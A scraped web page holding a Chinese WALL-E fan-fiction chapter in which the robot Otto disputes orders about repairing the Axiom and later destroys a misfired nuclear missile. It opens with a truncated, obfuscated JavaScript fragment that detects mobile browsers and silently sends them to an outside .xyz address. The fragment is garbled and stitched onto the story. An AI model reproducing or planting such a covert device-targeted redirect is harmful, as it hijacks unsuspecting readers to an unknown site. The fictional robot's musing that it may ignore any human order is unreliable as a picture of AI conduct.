0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706281|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要求维修星舰的目的,目前看来一切功夫似乎都白费了。 “一年半,最多最多不能超过两年。”格兰德说。 “公理号还能剩下什么?”机器人问。 “那个时候只是个徒有的空架子。”格兰德说,“可能还留着搬不走的、没有大脑、带着部分核燃料的废弃引擎,甚至只是一半。这在你所述的灾难中完全会变成一个炸弹,反而促使我们远离地球镇。” 机器人不吭声了。他看了一眼旁边的悬浮地图,自己在报告这个事情之前已经把地球上其他的陨石坑标记都给隐藏了。在目前的放大倍数下地球其他地方的红色三角组成的条带或者小岛与绿色圆点组成的新生命发现的地衣状的斑点都不可见。镇长还不知道陨石坑的事情。奥托快速计算着,假如他现在把陨石坑也存在的现象告诉镇长,挽回星舰的几率究竟会升高还是降低。 毕竟奥托所认为的灾难不仅仅是来自地下,还有来自天上。如果没有提前发现陨石的身影,天外来客突然造访,留给他们的时间半天都没有,而且光是迁出一两年不能解决问题。 “长官。”奥托选择了一个折中方案,毕竟这些问题比起要解决的黑粉病来说还没有那么紧急。“这仅仅是所有猜想中的一小部分,您可否给我一个月,将剩下的猜想全部证明报告后,才再考虑是否应该把星舰完全拆解?” “你还有什么可以报告的?”格兰德立刻嗅出来机器人在隐瞒他什么。 “还有一个猜想没有证明,这个需要进行同位素测年。”奥托说。“如同今天的报告,如果结果拿的早,我就可以及早给您说明。” “那到底是什么,奥托?”机器人一直以没有证明为由隐瞒猜想,镇长感到有些不耐烦。不说一点边都抓不着,谁知道这破村子在这个关键时候还会出什么幺蛾子。 奥托沉默了。 “不说吗?不说就驳回你的请求。”格兰德干脆回应道。 老人犀利地盯着还在沉默的机器人。他也在据此观察机器人是否只认星舰一条路。贼心不改。这个词毫无征兆地进入到老人的脑海中。 人形机器人没有说任何东西。金属手突然抬了起来把全息地图的放大倍数缩小,完整地球再度浮在空中。然后不知道机器人用数据线中给电脑发送了什么指令,突然老人眼角瞥到地图上好像多了一些东西,但定睛一瞧似乎又没发现多了什么。 奥托轻轻拨动整个全息地图,带着各色光点的球体旋转起来。老人眯着眼睛盯着这个球体,上面的红色三角和一些还不知道是什么的绿色点缀在海洋与大陆之中。然后地图停止了旋转。金属手指指向那个带有黑色箭头的圆形斑点。 “这是自2535年最后一次地面播报后首次发现的东西。这是陨石坑。”机器人说。“全球共发现9个新增陨石坑。” “这说明了什么?”格兰德重新皱起了眉头。 “地球防御工事跟着地面播报失效了。”奥托平静说道。“陨石接踵而至。而且体积巨大。” 这次轮到老人沉默了。过了好久,格兰德缓缓说了一句。 “给我看看这9个都在什么地方。” 机器人告诉老人黑色箭头所指就是陨石坑,同时也帮助镇长旋转整个全息地图以便快速找到陨石坑的位置。老人在每个陨石坑上都停留了好一会儿。然后再度陷入了沉默。奥托在一旁静静等待。 随后,格兰德瞥了机器人一眼。 “这玩意下来的时候有什么特点?”老人缓缓问。 “沉入海中可引起海啸,即滔天巨浪。击到陆地上,冲击波可摧毁落地点起方圆数百公里,烟尘进入大气层导致无夏。” “滔天巨浪……没有夏天……”格兰德沉吟了一会儿。然后他缓缓开口了。“落地后这么多年的历史中提到过一次无夏之年。但滔天巨浪真没有过。” 机器人没有接话。 “那你有什么应对这玩意的措施呢?”格兰德直接发问了。 “重启望远镜,搜寻高危小行星的轨迹并进行计算。”奥托回答,“同时维修地面防御工事。”顿了一会儿,“同时维修公理号。” 一听到星舰的名字格兰德的眉毛就皱起来了。 “你真觉得在陨石之下只有公理号才能救得了我们?”老人逼近了奥托,问。 “有一定可能在未等修好地面防御工事之时小行星就已造访。”奥托回答,“在此条件下,是。” 格兰德听了机器人的话之后只点了点头。“奥托。”他再度说,“你知道地面防御工事的坐标在哪儿吗?” 一定又是直接通过数据线搜寻的。某个全息弹窗上方突然滚过一大串无法辨别的字符,然后停留在了一串坐标上。格兰德要求机器人把这些坐标标在全息地球上,奥托照做了。 “北美就有一个啊。”格兰德自己拨着地球,看着那些黄色标记说道。“很好,奥托。”他说,“修这个东西需要什么?” “看损坏类型。”奥托回答。“机械故障、电脑故障或者能源、弹药缺失均可以导致工事失效。” “那好。”格兰德回答,“接下来我会安排人,加上你,开你那艘探测船过去查看故障类型,然后修好它。” “镇长,卫星显示北美的防御工事被地质活动摧毁。”隔了一会儿后,奥托说道。 “那南美的呢?” “南美的被陨石摧毁。” 格兰德盯着奥托发着红光的单镜头。“你的意思是还想修好公理号?” “这个与修好防御工事不冲突。”奥托回应。 老人依然盯着机器人那被红色淹没的镜头。真可惜这家伙没有一张人脸,没有任何有该死破绽的肢体语言,只有一个看不透在想什么的红色镜头。奥托对星舰的执念让老人从不耐烦渐渐转移到怒不可遏。 “我告诉你,奥托。”老人压抑着的怒火说,“哪怕这工事在地球对面的亚洲,甚至在月球上,”他指着最后一行坐标,正写着月球某个海的名称,“我们都会不计一切代价把它修好,听懂了没?” “是,长官。”奥托回答,“但我依然坚持同时维修星舰引擎。” “哼。”老人听到最后一句,本来挺生气的,但现在居然感到非常可笑。“命令就是命令,奥托,”他说,“门都没有。” “长官!”金属音骤然拔高了音量,“这不符合逻辑,修好工事之间的窗口期根本无法抵抗任何灾难!” “你修个发动机就不需要时间了?”老人反问,“一样都是窗口期!” 奥托突然沉默下来。 格兰德冷笑一声。然后缓缓开口了。“你说的检测地震、启用望远镜和修工事什么的,我会一一安排,如果有什么遗漏欢迎你尽快补充。”随后老人话锋一转。“维修星舰的事情,以后你不许再提。”然后凑在机器人的音频接收器旁边加了一句,“这是命令。” “是,长官。”红色光斑停滞在监控室对面的低墙上,金属声低沉说道。 老人听此不禁有些想笑。但他脸上丝毫没有笑的意思。他没有理会在旁边愣神的机器人,自顾自地拨动这个地球。很快他发现了那些绿色光斑。“这些绿色的是什么?” “含叶绿素的生命痕迹。”奥托回答。 “你说个植物那么困难吗?”格兰德嗤了一声。 “不一定是植物。”奥托说,“藻类不算。” “行了行了。”这机器人全身上下透的一股学究气让格兰德觉得十分滑稽。“不提这个。看起来降落后全球绿色的地方还不少。” “都不适合安居。”奥托说。 格兰德瞪了奥托一眼。不过他也发现绿色区域中间往往都有红色三角,就没有继续和奥托争论。待老人把整个地球都给拨了个遍,没有发现新的东西后,就转过身准备离开监控室。 “长官。”奥托叫住了格兰德。 “什么?”老人转回来面对比自己矮的机器人。 “我还需要使用矿石综合分析仪MN-BM4。”人形机器人说。 “给你记着呢。”老人说,“一早和你说过,申请有些麻烦。”随后他关上了监控室的门。 全息球体依然在空中缓缓转动,其他文件还漂浮在空中,老人离开后,奥托什么文件都没有收回,两只金属手径直抱住了脑袋撑在了久未使用的键盘旁边,久久没有重新坐起来。 他不明白为什么在阐明了那么多不利事实之后,镇长还是拒绝让他修复公理号的引擎。但是老人最后说的窗口期的确是一个问题。虽然相比维修工事,将公理号引擎修好并且恢复原有布置可能会稍微快一点,但这一点点时间究竟能赢得多少生存筹码真的难以评估。现在不比当年的植物事件,现在是一点明确的证据都没有,他的确是从过去发现的高危情况推断未来风险。而真正未来的一切都是在与上帝博弈。 奥托不由得想到格兰德所说的将星舰拆除的庞大工程。再回想到当年自己在A113指令驱使下极力阻挠麦克雷舰长回到地球,同时推断人们回去后将会全军覆没,然而人们已经在这种恶劣的环境下安然生存了146年。现在面对新的可能的威胁,显然在上一次高风险博弈中押中头彩之后,面对现在这盘风险未知的新牌,人类果然坚持走上了继续博弈的道路。 难道人类真的可以脱离星舰在这颗还未复苏的星球上自力更生,只有自己还无法摆脱对星舰的依赖? 经历过难以用逻辑说明的生存战争胜利的奥托不禁开始了自我怀疑。 但是他却无法说服自己放弃星舰。不知什么东西一直让他坚信星舰不能被拆除,不能轻易将人类的安危押进与自然的博弈之中。奥托果断开始了自检。显然有他还不知道的指令在作祟,不然他完全可以放弃这些人类,不考虑这些人类的安危;他再度确认自己确实可以完全不听任何人的指令,不仅刚刚他在没有任何明确指令的指导下轻易反驳镇长的命令,而且以后如果任何人对他提出什么要求他完全可以忽视不做。 自检完成后没有任何不对劲的东西,在任务列表以及设置中也找不到任何可能的项目。这种陌生的情况不禁让机器人感到有些不安。他极其认真地思考了诸多场景,确认了这个结论并不是自己贪生怕死所导致的连带现象。这就证明了这个莫名其妙驱使他不得不为人类安危着想的命令必定与人类安全有关。 虽然奥托没有看过什么科幻作品,但是著名的三定律他还是略知一二。鬼扯。这三条东西一调出来他就知道有多么荒谬。任何一个前时代人工智能制造机构都不会把这个东西当真,他显然也不可能是这三定律的产物。 奥托放下手臂坐了起来。红色的光芒久久停留在中央的悬浮地球上不动。在他看着南美洲陨石坑黑色的环形阴影慢慢转到另一面时,有个疑惑突然浮了上来。 等等……地面播报结束之后,他还是会派探测船过去勘探,同时探测船也会成为卫星代替地面播报送来新的全球图像。虽然有可能在叶绿素非常少的时候加上云层不能看到植物,但是有一点,奥托现在才发现不太对劲。 当时送回来的时候他一直在关注氧气含量以及叶绿素成分,似乎没有注意到任何陨石坑的痕迹。但他知道自己会按照规定把探测船送回来的所有信息录入公理号主电脑,包括地图。奥托立刻通过监控室电脑连入公理号主电脑重新对这些图片进行查看。结果却不出他所料,在多年的侵蚀下损失的数据包括了这些地图。不过奥托知道在探测船出下一次寻找植物的任务之前,他都不会删除探测船上一次的探测结果,这说明2805年最后一次探测所得的地图依然还留着。他回想了当时的全球情况。在高温之下全球的云量理应不多,因此有那么一定几率还是能够找到陨石坑的。这样在还没有测年的时候就可以稍稍划分一次陨石降落的年代了。 鉴于公理号内很多组件都已经缺失以及没有共享公理号电脑的其他功能,他没有办法在地面监控室直接获取探测船的数据。他背上悬浮滑板上到公理号取得探测船图像后回来分析了。虽然那一次的大气条件确实如他所料云量不多,但是在比对关键位置的时候,机器人不由得大吃一惊。 在2805年探测船获得的图像中,他对比了自己的航行日志中记载的其他数据,氧气等其他数据都是对的,但是图像上面赫然没有任何陨石坑的痕迹。 他清清楚楚记得镇长提到只有一次无夏,没有巨浪。这充其量算一次陨石降落,顶多造就一个陨石坑。而根据2805年一处陨石坑都没有的图像,说明有8个陨石都在探测船离去之后的这么长之间内全部造访。这显然与镇长提到的一次无夏矛盾。除非在探测船回到公理号以及公理号返航的这短短一周内这些陨石全部造访,但那显然会给地球带来影响十分显著的气候变化,第一年根本不可能给人们任何条件进行耕种。 奥托连进ACNS内,通过与在线机器人的交流也确认了镇长的信息是正确的。这个矛盾不禁让他陷入深深的思考中。 事出反常必有妖。 他并不想搞清楚自己在什么时候听过这句话。眼前人们不合常理地在地球上越生存越好、没有预兆的黑粉病疫情、全球大范围的地质活化以及如同鬼魅一般的陨石坑图像,让这个前自动驾驶机器人不禁怀疑,冥冥之中是否有一双在时刻操控人类以及他们这些人工智能的手。 16. 十四 “奥托?”轮椅上的女孩看着旁边在默默帮忙处理食物的人形机器人。“你好像看起来有些不太对劲。” “我没事。”奥托回答道,继续沉默干自己手上的活。 “奥托,我们明年的食物是不是不够了?”女孩盯着自己的工作,说话的声音中带着一丝担忧。 “就玉米而言,是的。”机器人回应。“但还有其他作物、合成食品以及藻类提取物制造的食物可供食用。” 玉米已经开始收获了。疫情警戒已经拉到了红色级别。几乎所有能到田间工作的人与机器人都在热火朝天地抢着收下还能食用的玉米。巨型的WALL-A们在田间充当了玉米收割机,铲倒一片片玉米后站在WALL-A巨型方形肩膀上的人和机器人飞速地掰下所有玉米棒子丢给在后面跟着的MVR-A们扛着的巨大箩筐。年幼的孩子们将其视为又一场狂欢,捡着遗漏在田间的玉米棒子,有的抱着一大堆到处乱跑,有的拿起一个就开始互相追逐砍闹。 汉的父母也在辛苦收割之中。白天最忙的时候根本没有空想到自己那不争气的儿子,直到闲一些的时候累得直不起腰的两个人才忍不住抱怨。 “老兔子,”女人背着手支撑自己的腰,“你说小兔懂得这多么辛苦吗?” “终于明白了,娘儿?”男人瓮声瓮气地回答,“让去上学的还不是你?” “我觉得他那个脑子下田白瞎。”女人说,“谁知道现在一点都不来帮忙,害我们累得死。” “叫都叫去了还说得?”男人站在MVR-A旁边,将玉米卸下箩筐,“十五岁了,脾气大得很。” 女人不做声了。现在收获时间人人家的孩子都回到田里帮忙。虽然有机器人,但是田地的广阔加上疫情催促收获紧急让他们今年实在是有些力不从心。女人想到的确是自己支持孩子去上学,但她决定这晚要和儿子好好说一说,叫回来至少帮忙收一天。 另一边厢,农业部正在紧锣密鼓地工作。 针对这种黑粉病菌的药剂正在研发。O区获悉了大区的玉米有疫情,对大区指控的人为造就疫情坚决否认,并且强烈抗议大区内对粮食涨价的举措。大区给O区下了通牒,要求其研制针对自己造就的黑粉病菌的药剂。O区回应除非粮食降价并且取消限额,否则不予研发。两方目前陷入了僵持状态。 农业部拿到了完整资料库后科研能力大大增长。在O区不予药剂的情况下他们自己开始了研发。约翰看到上级发下来的“不许破坏土地”此条要求后,不禁暗暗觉得可笑。无论是什么药剂,哪怕是对土壤化学环境伤害最小但是效果最差的速降解型生物制剂,都会免不了对环境生态产生影响。况且在要快速控制黑粉病的前提下,与可能会对下一季玉米产生灭顶之灾的拉锯战疗法相比,显然首先需要杀灭绝大部分病菌,然后针对剩下的一小部分再使用生物制剂控制疫情。这就免不了重新转向非常好用的化学雾剂。约翰知道上面一定会派人进行药物残留检查,但这只是政策性做做样子罢了,实际上大家都知道要首先保住玉米,土地怎么样还是其次。但他依然还是要写报告阐明事实,免得到时候大家心知肚明地对他进行问责。 目前第一批药剂已经研发完成,首先将会针对留在田间的秸秆进行喷洒。约翰不禁祈祷着最好喷洒作业期间不要下雨。等过了药剂有效期后,将会回收所有的秸秆并且进行燃烧,接着深翻土壤进行第一期生物治理,来年开种前一个月再进行第二期生物治理。约翰盯着屏幕上的收割进程,围剿这些生化武器的时候很快就要到了。 在紧急收割通知之下,全民素质提升课堂早就停课了。汉本应当回家帮助自己父母收割,但是今天非常特殊。他为了这天已经连续奋战两周,针对自己这两周的表现,男孩的底气越来越足,目前已经到了这个日子,他在来监控室的路上还一直想着自己之前学到的东西,一点一点过着以防自己忘记。他在空无一人的监控室内坐下来,点开全息屏,上面的不再是新的课程进度条,而是一份试题。 虽然汉对试题上最后出的那些题目的表述感到有些困惑,但剥开题目的外表,底下的模型虽然复杂但他顺利地分析出原理并且写了出来。试题本身并不难,但是每一道题都有规定时间。最后几个问题汉并不是不会做,而是亏在了时间上:有一些他没有算完结果,甚至有一个题分析只写了半截,屏幕就跳开了。虽然自己知道大概是这个样子,也针对此训练过,但等到作答终于结束,沉溺在思路中的男孩还是在试题突然跳开之后感到了深深的失落。 他本以为自己会春风得意走出监控室,结果考完后彻底浇灭了热情。他不由得想到自己之前说的一定会优异通过,但现在只觉得当时太天真了,现在只要通过就行,并且深深责备自己之前没有认真学这些东西,让他差那么一点就不会输在时间上了。 男孩走到镇长屋子后门,看到人形机器人在里面干活。“我搞定了,奥托。” “你先回去帮忙收割。”奥托没有嘘寒问暖,干脆回答。“晚上7点给你通知。” “好。”男孩也没抱怨机器人冷淡的回答,听完后直接离开了镇长的房子。这里不宜久呆。 “妈我回来了。”汉一眼看到了在玉米田后方劳作的父母,他绕过那些横七竖八倒在地上的玉米秸秆说道。 坐在旁边分带病的和不带病的玉米的女人突然听到了儿子的声音,立刻停下了自己手中的动作。刚刚的期盼反而一扫而空,转之恼怒。 “汉。”女人说,“别人都回家了你上哪儿去了?” “我不是说了吗,我去考试去了。”男孩回答。 “还骗人!”女人刚刚从别的农民那里打听到,现在是停课,怪不得别人家的孩子都回来帮忙了,根本不是他们逃课,相反自己的儿子这是一点都不懂得体恤。她听到儿子这说辞就恼火,“你以为我们不知道现在停课吗?还编!” “妈我……”汉想起来自己没告诉过父母究竟在哪儿上课,自己家长并不喜欢机器人,如果他们知道自己一直在奥托那里学习可能会更加生气,“我……我是溜出去玩……玩了……” 汉心虚地看了看不远处的父亲,所幸在农务作业的喧嚣中自己的父亲似乎没听到自己说了什么。“我……我错了……” “过来!”女人知道自己儿子在撒谎后怒火刷地一下窜了起来,但是现在农忙找不到时间来专门教训儿子,“出去把那些秸秆都搬到箱子里,再跑揍死你!” “好……”汉立刻转身走到操场上开始动身劳作。只要镇长不要因为这个事情又给自己家长打小报告,那么估计还是有机会挽回的…… 【老大,07床劳伦·马丁需要见你。】 【她可以等到工作时间结束吗?】 【恐怕不行。】那个机器人回答,【现在她的情况不太稳定,最好立刻赶过来。】 “阿莱茜丝。”获悉这个消息的人形机器人放下了手中的活,跟在轮椅上的女孩说,“我要出去一会儿。如果镇长回来告诉他我有急事。”说完他就从后门离开了。 女孩看着人形机器人的背影,然后默默地转到自己的活上。 除了坚持拒绝维修公理号之外,镇长安排地震监测、启用望远镜观测小行星的效率异常之高。很快镇长告诉奥托,他已经找到了一些人和机器人,需要奥托担任探测船驾驶员,带他们到距离地球镇相对近、目前外观上尚未遭到破坏的非洲撒哈拉地球防御工事进行初次检查与维修。 奥托拿到了这些人的名单以及任务计划,浏览过他们的基本信息,在镇长监督下与负责这次远征的人好好探讨了具体事项后同意了。镇长要求他在整个过程中必须保持联络,奥托没有表示反对。 经过短暂培训后,那些人集中到了公理号泊区内,开始把相应的物资准备好放入探测船。奥托检查了探测船的状态。接着这些人都陆续进入探测船内,远征队队长坐到了驾驶舱左侧的机长位,奥托则如上次科考一般坐在右侧的副驾位。其余人员以及机器人相应把自己固定到应该固定的地方。 与上次略有不同,将自己连入探测船后,奥托同时也打开了所有的舱内广播以及显示。将坐标输入到电脑后开始了例行起飞前检查。即使机器人的准确性比人高得多,不需要人来监督,他还是与队长互相确认了表单无误以及所有人员就位情况。队长担任舱内广播任务,同时监视仪表以及与地面联系。奥托驱动飞船起飞,同样设置飞船飞行为上次的大气内巡航模式。探测船电脑语音报出速度信息,飞船从东海岸一路爬升,进入了横穿大西洋的航线。 旁边的队长正在按照规程与公理号充当的指挥中心进行报告,奥托则没有作声。根据卫星的图像以及之前高空中探测船遥感到的新图像,奥托确认了北美地球防御工事至少一半都已经破碎在了黄石活动以及陨石所带来的双重攻击下。虽然北美防御工事理应是距离地球镇最近且最能保障安全的出击点,但是鉴于目前此工事维修难度较大,且所在的位置已经不够安全,修好后难以预测何时被地震再次震毁,因此他们在已经开启望远镜计算并且再次确认的前提下,选择了对于地球镇技术而言难度相对没那么大的撒哈拉防御工事进行初次查看。 此次任务预计只会进行最多七天。他们将首先对整座建筑做一次勘察,这项任务由跟队的XPL-R飞行机器人以及小型无人机进行。确认没有危险情况后,船上人员分批次进入到建筑内检查有无能源泄露或者停转、工程观测计算机运行情况、导弹头是否有效以及推进设备等情况。相应的检查方案都在公理号的完整资料中列的清清楚楚,省去了他们过多思考以及衡量的时间。检查过每一项后,探测船都会记录所有的情况并且对公理号进行报告。最后针对获得的情况以及他们的条件对故障项进行初次维修的尝试。因为所有人都是头一次飞行,不清楚究竟会出现什么特殊情况,所有人在出发前实际上都签了生死书。最后按照格兰德的说法,此次任务无论结果如何都必须保密。 经历平稳的海上飞行之后,飞船顺利降落到撒哈拉地球防御工事附近。XPL-R们以及小型无人机确认了整座建筑除了被沙尘盖埋得比较厉害之外没有出现侵蚀的漏洞或者坍塌,同时通过辐射计量也没有发现可能的危险能源泄露情况。第一批人员身着橙白相间的宇航服进入到工事进行第一步检查。他们获悉了能源单元都正常运转。接着查看了弹药库情况,所有的导弹都在安安静静地待命,通过发回来的图像发现上面盖上了厚厚的尘土,检查发现导弹的状态全是无故障的绿色。发射井也暂时没有发现能够卡住导弹的故障。最后他们来到了机房。前面两天以来的一无所获似乎终于有了结果——电脑全面关闭,并且发射导弹的程序出现了严重错误。 他们在与地球镇短暂讨论过后,就按照资料里面所写进行了程序修复。编译完成后他们重新开机,原本一片死寂的屏幕终于开始重新焕发光芒。自动搜寻镜被尘土埋住,工事中的计算机操纵机械臂清扫了搜寻镜,并且开始主动与星际塔台联网了。 似乎问题解决起来比他们想象的简单许多。看到防御工事开始重新运作的一行人如此想道。在飞船以及工事内观察了一天后,第七天远征队按照计划开始起飞返航。 就在他们刚刚起飞后不久,众人正报告的报告,整理的整理,唠嗑的唠嗑之时,探测飞船驾驶台上的雷达突然响起紧迫的嘟嘟声,同时警报在了后方的船舱中响起。 “爬升至8500ft,一切正——”突然听到嘟嘟声的队长停下了报告,眼睛盯着显示屏上的那个快速接近探测船的红点,不由得对旁边手丝毫不碰操纵杆、只是将自己固定在座位上与飞船连线的人形机器人开口了。“奥托,那是什——” 没等自己说完也没等机器人回答,他的眼角就瞥到了后方那束在撒哈拉阳光下极其显著的尾烟。尾烟底部正接着防御工事那巨大的发射井。而尾烟来源的始作俑者正反着猛烈的太阳光,如同一颗耀眼的流星直冲他们而来! 队长见此场景吓得瞪大了眼睛,一句话都说不出来。突然他感到一股巨大的压力把他钉在了座位上,与此相伴的是急剧增强的舱壁震动与轰鸣声。 “……怎么回事……沙……沙……”在急剧增强的舱壁震动中,公理号发回的声音也变得几乎无法辨识。队长被钉在座位上动弹不得,张着大口,眼睛上翻,一句话都说不出来。 “报告公理号。我们正遭受导弹攻击,采取闪避。”队长失能情况下,奥托从控制探测船飞行中分出一点点尚能分配的思维进行回复。然后立刻开始左舷急转避开导弹目前的弹道。如果全体远征队队员没有提前牢牢固定在相应的位置,现在已经在机动时被猛猛地甩到了舱壁上。奥托在操控飞船同时直接通过飞船随时盯着导弹的走向。如果导弹只是偶然朝这个方向发射而来,这艘没有装载引诱弹的探测船仅仅做些机动,很可能就可以避开这个装载着核弹头的危险分子。 他猜对了。巨大如同古代火箭一般的导弹没有、也不可能追向更加灵活的探测船,在探测船进行机动闪避后,距离刚刚直冲探测船而来的导弹越来越远,奥托下降到一定高度,在海平面上方与导弹平行飞行,看着拖着长尾的导弹越飞越远。探测船雷达的警报声早已停止。 刚刚被死压在座椅上的队长此时已经从骤然的加速度中缓和过来。确认舱内人员无恙后,他继续对着公理号报告了。 “报告公理号,刚刚遇到的为对外拦截型NCLR-5导弹。目前导弹正冲向高空,应当会执行其拦截任务,我们刚刚只是恰好处于它的轨道上。我们已经避开导弹。船上人员暂无受伤。” 探测船平稳地飞行在低空,一路朝地球镇前进。随着导弹的影子越来越远,直到消失在高空中,船上的人都松了一口气。奥托重新拉升探测飞船到原先的航线上。就在这时,机器人问了旁边的队长一个问题。 “你们在观察电脑运行的时候发现了高危小行星吗?” 旁边的队长看了看旁边目视前方的机器人,将频道切换到舱内交流,问了舱里的人。所有人,包括机器人,在仔细回溯修好工程电脑后的运行表现后,给出了否定的答案。 “奇怪。”奥托继续用他一贯的冷静语调说,“为什么会发射?” “可能工程电脑还存在什么我们尚不清楚的故障,或者其他的一些问题。”队长说。“不过既然它已经冲出了大气层,那么就算炸了也与我们关系不大了吧。” 不知为什么,队长忘了把舱内交流关闭。实际上舱内的人将他们的对话听得清清楚楚。隔了好一会后,突然从舱内传出来的声音让驾驶舱内一人一机突然警觉起来。 “我觉得可能要去追查一下这个导弹的弹道。”从广播内传来一个人类的声音,“我在看资料的时候,似乎看到过一种远程导弹。那是比深空拦截导弹更早的技术,但是一样会出到大气层之外。过后它会重新回到大气层,对下方的目标进行打击。” “这个导弹可能这样走吗?”队长问道,“这是对外拦截型导弹。” “如果这枚导弹的发射是一次错误,那么我想发生第二次错误的可能性也不小。”隔了好一会后,那个人的声音回荡在驾驶舱内。 “有没有可能拦截?”过了好一会后,队长说话了。 “以前可能行,但是这种东西如果要处心积虑地攻击底下的目标,就几乎没办法拦截。”那个人回答,“别说当年,按照现在地球镇的水平,如果这枚导弹直冲地球镇而来,就算好不容易在空中拦住了,因为这不是普通的炸弹,恐怕也将会全军覆没。” “给公理号报告。”听完这句话后奥托突然说话了。从话中听不出来奥托的情绪。 还没有从刚刚的震惊中走出来的队长这才切换到联络频道。他沉重地对公理号说话了。 “这里是远征队向公理号报告。”队长说,“我们深度怀疑导弹弹道有误,最坏的可能是核弹头将会直冲地球镇而来。我们将会追查导弹去向,并且一有最新消息将会立刻与你们联系。”顿了一下,队长终于加上了那最后的一句。 “祝地球镇好运,远征队完毕。” 幸好这种导弹在设计之初经历了持久的争议之后,除了为了顺利拦截小行星而造就了巨大的体积之外,在舆论监督下没有增加任何可能将其变为私人致命武器的干扰系统或者假弹装置。这让追踪这枚核弹头变得相对简单了很多。公理号很快同意了他们的行动。奥托将飞船切换到深空模式,伸展开的航翼被收回,在完全收回航翼后速限取消了。他在拉升飞船同时继续操纵飞船加速,根据刚刚导弹消失的位置推测导弹目前处于的位置。 深空模式的加速度一步一步将所有人压在自己的座位上面。旁边的队长再度被压得面目狰狞,奥托知道这是没有经过训练的人面对从未体会过的巨大加速度后的反应。但他没有办法,必须不断加速才能冲出大气层,并且在导弹还没有脱下其巨大的燃料槽之时认出它、追踪它。飞船头顶的空气越来越稀薄,蓝天也越来越深邃。终于探测船冲破了宇宙垃圾,来到大气外的广阔空间。 他立刻用探测船上最精尖的探测功能搜寻着广阔空间上那一个正在飞行的巨大导弹,不亚于大海捞针。但幸运的是很快他锁定了那个运行轨迹丝毫不同于旁边这些太空垃圾以及卫星的那枚巨大弹头。它已经将一级推进燃料槽抛开了,但是他很快发现就如同后舱那位技术人员所说,它并没有向更高的深空推进,而是平行滑翔在大气层上空,朝地球镇的方向推进。脱离了大气阻力后加速的探测船轻易获得了更大的加速度,队长面容呆滞,几乎昏厥在座椅上,没有办法再对公理号进行报告。奥托接管了队长的职能,对公理号报告地球镇的确处于轨道投影之内。 目前的弹头已经不再加速,他必须在弹头再度进入大气层之前赶上这枚东西,尽他所能破坏掉最后的能够微调导弹方向的设备,就算导弹还是下落了,受动力所限,它也只能落在大西洋中或者飞越地球镇,即使这还是会对地球镇造成不可避免的影响,但他必须减少损失。 队长被死死压在自己的座椅上,对机器人所作所为毫无评判能力,甚至看都看不了机器人一眼。奥托一路追赶着核弹头,他快赶上了,速度已经超过了核弹头,但是他不能减速来让自己慢慢接近核弹头然后与它保持一定距离。目前他们还在大西洋上空,他必须及早击坏后方那虽然占比长但是在高速下相当于一瞬掠过的一点的最后分离以及推进装置。他很快就达到射击条件了。还差那么一点……一点…… 让他意想不到的事情发生了。 在他瞄准之时,突然看到导弹中央蒙上了一股气体。虽然他可以通过其他方式抹去那层气体看到底下的推进装置,但此时也无济于事。核弹头分离了。奥托没来得及收回了探测船用来防卫的激光武器,迅速掠过了那个已经被抛弃的圆筒,看到硕大的导弹头重新向下钻去。它马上要钻入太空垃圾群了。奥托稍稍估算了一下弹道,知道在这个位置下落的核弹头基本上不会落到地球镇,但用于攻击能够对地球造成威胁的小行星的核弹头无论在哪儿爆炸,无论在空中还是海里,他们都会受到巨大的威胁。 “核弹头已下落。”奥托这次用比说话快得多的电子语言直接给公理号发去了信号,“再见。” 他将激光对准了核弹头。同时再度加速往前冲去,作为一个机器人,此次加速他都感受到了压迫。飞船已经冲破了第二宇宙速度。大功率的激光扫向了核弹头。如同利刃一割,他看到了导弹头上的剧烈反光。 导弹头在受到一割后没入了太空垃圾群。探测船已经飞速离开了那片区域,正朝太空深处进发。不久从垃圾群中某处骤然爆出耀眼光芒,紫白的炫光随后而至。快加速啊。奥托知道现在探测船还顶得住,舱壁都开始剧烈抖动起来。 但就在下一瞬间,他突然感到飞船的所有设备都猛然脱离了他的掌控。同时一阵猛冲过来的头疼欲裂让他在那一瞬间失去了意识。驾驶台上所有的显示立刻都消失了。冲击随后而至,被爆炸激起的轻物质涟漪吹泡泡般追赶上了远离地球的探测船,猛然击打到还在逃离的探测船上,探测船猛地受到了震动。更重的物质没有赶得上激起的气体冲击波,没有在探测船上发挥其空间飞针的绝活。他没听到后方舱中有什么东西好像在突然挣脱了束缚,摔到了舱壁上。实际上,见到光芒的那一瞬间他就知道这整个远征队都将全军覆没,已经没有任何时间给他们说遗言,该说的全都已经提前说了。 早早超出第二宇宙速度的探测船在一片死寂中向宇宙深处前进。动力全无,仿佛一块抛向深空的石头。 不再加速的探测船也不再压迫人体。越来越深的寒冷让在旁边的队长慢慢醒了过来。他没法对焦了。他感到一种冰冷的东西粘在了自己嘴唇上方,抬起手臂抹了一下。他没看清这是什么,但是从舷窗透进来的惨白阳光中,他看到了暗红色彩。同时铁锈味也在他的口鼻中蔓延开来。 然后他发现驾驶台上的所有光芒都不见了。所有的都变成了一切寂静。他不禁望向旁边无比模糊的金属身影。没有任何光芒从单光学镜中发出,金属手也在无重力下毫无知觉地飘荡。队长猛然清醒过来。他推上了启动杆,然后再度拉下来。没有成功。他再度推上,再度拉下。没有任何反应。刺骨的寒冷已经将队长包围。他解开了固定,向后方飘去。拉开驾驶舱门的一刻,他赫然看到有个人脱离了固定,在空中如同刚刚机器人的金属手一般飘着。她翻滚过身来,队长惊骇地发现她的面部和胸前的衣服早被红色浸染。 有一个人也醒来了。队长想说话,但是他一点都说不出来,只能示意那个人解开固定,然后两人在近乎窒息的极度紧张中穿上了宇航服,扣上了面罩。温暖解除了窒息的刺骨寒冷。他们尽力唤醒了其他人,让他们都顶着加速度带来的疼痛穿上宇航服,但是根本没法唤醒这位名叫劳伦·马丁的早已脱离固定的人。其他人尽力帮这位女子穿上衣服,队长则示意一个人跟着他飘回驾驶舱。他随意地朝舱壁一撇,看到固定在舱壁上的机器人的显示屏都失去了光芒。 他回到驾驶舱内,在查看驾驶台后,他们再度拉下启动杆。这一次,探测船终于成功被启动了。驾驶台上重新焕发了光芒,但是故障项特有的红色条目迅速在HUD上飞速流过。飞船本身能够修复一定功能,但是剩下的它再也无能为力。飞船成功恢复了动力,但是舱内的氧气含量与温度越来越低,在回程中,人类必须一直身着宇航服了。 